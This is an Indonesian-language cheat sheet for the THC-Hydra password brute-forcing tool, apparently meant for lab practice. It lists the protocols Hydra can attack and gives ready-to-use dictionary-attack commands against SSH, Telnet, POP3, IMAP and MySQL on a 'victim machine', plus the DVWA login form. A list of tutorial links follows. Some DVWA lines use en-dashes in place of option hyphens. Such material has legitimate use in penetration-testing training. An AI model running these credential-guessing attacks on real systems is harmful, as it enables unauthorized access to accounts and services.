Hydra

System yang di serang

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird,
FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD,
HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD,
HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP,
Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3,
POSTGRES, RDP, Rexec, Rlogin, Rsh, S7-300, SAP/R3, SIP, SMB, SMTP,
SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion,
Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Contoh cara menggunakan

hydra -L userlist.txt -P password.txt namaprotocol://mesin-korban
hydra -L userlist.txt -P passwordlist.txt ssh://192.168.0.80
hydra -L userlist.txt -P passwordlist.txt -e ns -u -f ssh://192.168.0.80
hydra -L userlist.txt -P passwordlist.txt -e ns -u -f telnet://192.168.0.80
hydra -L userlist.txt -P passwordlist.txt -e ns -u -f pop3://192.168.0.80
hydra -L userlist.txt -P passwordlist.txt -e ns -u -f imap://192.168.0.80
hydra -L userlist.txt -P passwordlist.txt 192.168.0.80 mysql

Untuk DVWA

hydra -l admin -p password   http-get-form "/DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&submit=Login:Login failed"
hydra –L UserNameFile –P PasswordFile –e ns –t 32 –u –f –m /DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login <IP> http-post-form
hydra –L userlist.txt –P passwordlist.txt –e ns –t 32 –u –f –m /DVWA-1.0.8/login.php:username=^USER^&password=^PASS^&Login=Login 192.168.0.80 http-post-form

Referensi

• https://www.thc.org/thc-hydra/

General usage and options

• http://www.aldeid.com/wiki/Thc-hydra
• http://resources.infosecinstitute.com/online-dictionary-attack-with-hydra/

HTTP basic auth

• https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29
• http://www.sillychicken.co.nz/Security/how-to-brute-force-your-router-in-windows.html

HTTP form based auth

• http://www.art0.org/security/performing-a-dictionary-attack-on-an-http-login-form-using-hydra
• http://insidetrust.blogspot.com/2011/08/using-hydra-to-dictionary-attack-web.html
• http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html
• https://www.owasp.org/index.php/Testing_for_Brute_Force_%28OWASP-AT-004%29

Multiple protocols

• http://wiki.bywire.org/Hydra
• http://www.attackvector.org/brute-force-with-thc-hydra/
• http://www.madirish.net/content/hydra-brute-force-utility

Telnet

• http://www.theprohack.com/2009/04/basics-of-cracking-ftp-and-telnet.html
• http://www.adeptus-mechanicus.com/codex/bflog/bflog.html